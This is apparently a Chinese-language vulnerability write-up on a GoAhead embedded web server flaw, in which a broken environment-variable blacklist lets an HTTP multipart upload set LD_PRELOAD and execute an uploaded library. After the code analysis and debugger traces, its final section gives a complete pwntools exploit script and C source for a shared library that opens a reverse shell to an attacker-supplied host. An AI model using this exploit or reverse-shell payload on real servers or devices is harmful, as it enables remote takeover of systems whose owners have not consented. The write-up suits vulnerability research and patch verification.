GoAhead漏洞分析

GoAhead Web Server是为嵌入式实时操作系统定制的开源Web服务器。IBM、HP、Oracle、波音、D-link、摩托罗拉等厂商都曾在其产品中使用过GoAhead。
官方文档

base

影响版本
Commit:commit

漏洞类型
未校验数据or校验可绕过导致最终执行execve函数的envp参数可控

利用方法
方法一:发送构造好的恶意payload去控制envp,在最终执行execve时控制环境变量等效于LD_PRELOAD=eval.so来执行任意代码
方法二:和@Swing讨论了一下他用的方法,发现与我使用的方法属于两种利用,具体用法移步他的博客,这里我就不多赘述了

漏洞环境

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
FROM ubuntu
ENV LANG C.UTF-8

RUN cp -a /etc/apt/sources.list /etc/apt/sources.list.bak
RUN sed -i "s@http://.*archive.ubuntu.com@http://repo.huaweicloud.com@g" /etc/apt/sources.list \
&& sed -i "s@http://.*security.ubuntu.com@http://repo.huaweicloud.com@g" /etc/apt/sources.list
RUN apt update && apt-get upgrade

RUN apt-get install -y git gcc make

WORKDIR /var/www/
RUN git clone https://github.com/embedthis/goahead.git

WORKDIR /var/www/goahead/
RUN git checkout 649285c
RUN make

WORKDIR /var/www/goahead/test/
RUN gcc ./cgitest.c -o cgi-bin/cgitest
CMD ["sh","-c","/var/www/goahead/build/linux-x64-default/bin/goahead"]

漏洞分析

commit code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
for (n = 0, s = hashFirst(wp->vars); s != NULL; s = hashNext(wp->vars, s)) {
if (s->content.valid && s->content.type == string) {
vp = strim(s->name.value.string, 0, WEBS_TRIM_START);//this
if (smatch(vp, "REMOTE_HOST") || smatch(vp, "HTTP_AUTHORIZATION") ||
smatch(vp, "IFS") || smatch(vp, "CDPATH") ||
smatch(vp, "PATH") || sstarts(vp, "LD_")) {
continue;
}
if (s->arg != 0 && *ME_GOAHEAD_CGI_VAR_PREFIX != '\0') {
envp[n++] = sfmt("%s%s=%s", ME_GOAHEAD_CGI_VAR_PREFIX, s->name.value.string,
s->content.value.string);
} else {
envp[n++] = sfmt("%s=%s", s->name.value.string, s->content.value.string);
}
trace(0, "Env[%d] %s", n, envp[n-1]);
if (n >= envpsize) {
envpsize *= 2;
envp = wrealloc(envp, envpsize * sizeof(char *));
}
}
}

我认为这个漏洞属于作者在修补好CVE-2017-17562后commit在优化代码时commit再次破坏了自己的黑名单机制,strim函数具体实现于
https://github.com/embedthis/goahead/blob/649285ccf3e96e9393b327ed8c496f1d5f6109c7/src/runtime.c#L2734
由于第二个参数为0,所以返回的vp会永远为0,所以下一步的黑名单检测会全部失效
然后通过下方envp[n++] = sfmt(“%s=%s”, s->name.value.string, s->content.value.string);将解析后的数据存入env数组
接着就是设置stdIn与stdOut进入launchCgi函数,调试可知stdIn与stdOut是两个io文件的路径
launchCgi将传入的stdIn与stdOut通过dup2重定向
然后执行execve(cgiPath, argp, envp),其中envp内容我们可控,使得我们可以构造等价于以下语句的执行效果
LD_PRELOAD=eval.so ./goahead

利用手法

发送构造好的恶意payload去控制envp,在最终执行execve时控制环境变量等效于LD_PRELOAD=eval.so来执行任意代码

利用流程

首先确定目标是从readEvent()接收请求后,中间经过一系列的处理解析最终执行execve时控制环境变量存在LD_PRELOAD=eval.so来执行任意代码

1
2
3
4
5
6
7
8
9
10
11
#0  execve () at ../sysdeps/unix/syscall-template.S:78
#1 0x00007ffff7f1f692 in launchCgi (cgiPath=0x55555556b110 "/home/ubuntu/docker-server/gohead_eval/goahead/test/cgi-bin/cgitest", argp=0x55555556b440, envp=0x55555556b4c0, stdIn=0x55555555cc20 "/tmp/cgi-0.tmp", stdOut=0x55555556d5a0 "/tmp/cgi-1.tmp") at src/cgi.c:586
#2 0x00007ffff7f1e9df in cgiHandler (wp=0x555555565f40) at src/cgi.c:216
#3 0x00007ffff7f31053 in websRunRequest (wp=0x555555565f40) at src/route.c:182
#4 0x00007ffff7f23f05 in websPump (wp=0x555555565f40) at src/http.c:870
#5 0x00007ffff7f23d8d in readEvent (wp=0x555555565f40) at src/http.c:834
#6 0x00007ffff7f23b0e in socketEvent (sid=1, mask=2, wptr=0x555555565f40) at src/http.c:772
#7 0x00007ffff7f39b05 in socketDoEvent (sp=0x555555565e00) at src/socket.c:654
#8 0x00007ffff7f39a26 in socketProcess () at src/socket.c:628
#9 0x00007ffff7f258e7 in websServiceEvents (finished=0x555555558014 <finished>) at src/http.c:1385
#10 0x00005555555559d2 in main (argc=5, argv=0x7fffffffdf78, envp=0x7fffffffdfa8) at src/goahead.c:170

于是可以从接收数据到解析数据到最终触发execve路径中的函数进行审计
envp由s->name.value.string,s->content.value.string格式化生成,其中s由wp结构体中的var来从hash链表中取出
由以下调用链可得知是在websPump调用对应parse函数后通过websSetVar对链表节点的参数进行赋值

1
2
3
4
5
6
7
#0  hashEnter (sd=21845, name=0x0, v=..., arg=1431729616) at src/runtime.c:2073
#1 0x00007ffff7f261b2 in websSetVar (wp=0x555555565f40, var=0x55555556a460 "LD_PRELOAD", value=0x5555555675d0 "/dev/stdin") at src/http.c:1535
#2 0x00007ffff7f3d0b3 in processContentData (wp=0x555555565f40) at src/upload.c:383
#3 0x00007ffff7f3c4fd in websProcessUploadData (wp=0x555555565f40) at src/upload.c:145
#4 0x00007ffff7f25181 in processContent (wp=0x555555565f40) at src/http.c:1216
#5 0x00007ffff7f23ef4 in websPump (wp=0x555555565f40) at src/http.c:867
#6 0x00007ffff7f23d8d in readEvent (wp=0x555555565f40) at src/http.c:834

其中parseIncoming处理请求头,processContent处理post数据
processContent存在以下几种处理类型

websProcessUploadData处理post上传数据的内部流程如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
initUpload()
/*set UPLOAD_BOUNDARY*/
/* ret start idx */

processContentBoundary()
/* set UPLOAD_CONTENT_HEADER */

processUploadHeader(wp,line)
/*line = Content-Disposition: form-data; name=\"LD_PRELOAD\" */
/* wp->uploadVar = LD_PRELOAD */

processUploadHeader(wp,'\r')
/* set wp->uploadState = UPLOAD_CONTENT_DATA */

processContentData(wp)
/* set nameVar */
/* set wp->uploadState = UPLOAD_BOUNDARY */

processContentBoundary(wp,line)
/* strcmp(&line[wp->boundaryLen], "--") */
/* set wp->uploadState = UPLOAD_CONTENT_END */

这时通过构造form-data格式的数据已经将s->name赋值为LD_PRELOAD,s->content为/dev/stdin
并且在最后bufCompact函数将wp->input.servp移动到%s–后,那么在之后后进入websProcessCgiData时,便会将发送的报文%s–后所构造的数据写入wp->cgifd所指向的文件
接着返回processContent函数的判断语句,进入websProcessCgiData函数,将wp->input.servp写入stdin的文件里,简单的调试如下

1
2
3
4
#0  websProcessCgiData (wp=0x555555565f40) at src/cgi.c:264
#1 0x00007ffff7f251fa in processContent (wp=0x555555565f40) at src/http.c:1232
#2 0x00007ffff7f23ef4 in websPump (wp=0x555555565f40) at src/http.c:867
#3 0x00007ffff7f23d8d in readEvent (wp=0x555555565f40) at src/http.c:834

由此可见已经成功将so库写入目标文件,并且可以通过/dev/stdin或/proc/self/fd/0,这固定链接文件去指向所写的文件
所以最终执行到execve(cgiPath, argp, envp)时,envp中的一项已经被我们所控制为LD_PRELOAD=/dev/stdin,也就是加载我们所写入的so文件,从而做到任意代码执行

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *

#target_mesg
ip = 'aaa.bbb.ccc.ddd'
port = abcde
#r_shell_mesg
reverse_shell_ip = "0.0.0.0"
listen_port = 7777
#commond
cmd = '/bin/bash'

def parse_so(filepath):
f = open(filepath,"rb").read()
f = f.replace("aaa.bbb.ccc.ddd",reverse_shell_ip.ljust(len(reverse_shell_ip)+1,'\x00'))
f = f.replace("abcde",str(listen_port).ljust(len(str(listen_port))+1,'\x00'))
return f

headers = """POST /cgi-bin/cgitest HTTP/1.1\r
Host: localhost:8080\r
Accept: */*\r
Connection: close\r
Content-Type: multipart/form-data; boundary=------------------------f74e4c2f448c9827\r
Content-Length: {}\r
\r
"""
body = b"""--------------------------f74e4c2f448c9827
Content-Disposition: form-data; name="LD_PRELOAD"\r
\r
/dev/stdin\r
--------------------------f74e4c2f448c9827--\r
"""
#/dev/stdin
#/proc/self/fd/0

n = remote(ip,port)
l = listen(listen_port)
post = body + parse_so('./tmp.so')
n.send(headers.format(len(post)) + post)
n.close()
l.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/* gcc tmp.c -fPIC -shared -s -Os -o tmp.so */
#include<stdio.h>
#include<stdlib.h>
#include<sys/socket.h>
#include<netinet/in.h>

char server_ip[0x10]="aaa.bbb.ccc.ddd";
char server_port[8]="abcde";
char *pathname="/bin/bash";

static void reverse_shell(void) __attribute__((constructor));
static void reverse_shell(void)
{
int sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in attacker_addr = {0};
attacker_addr.sin_family = AF_INET;
attacker_addr.sin_port = htons(atoi(server_port));
attacker_addr.sin_addr.s_addr = inet_addr(server_ip);
if(connect(sock, (struct sockaddr *)&attacker_addr,sizeof(attacker_addr))!=0)
exit(0);
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
execve(pathname, 0, 0);
}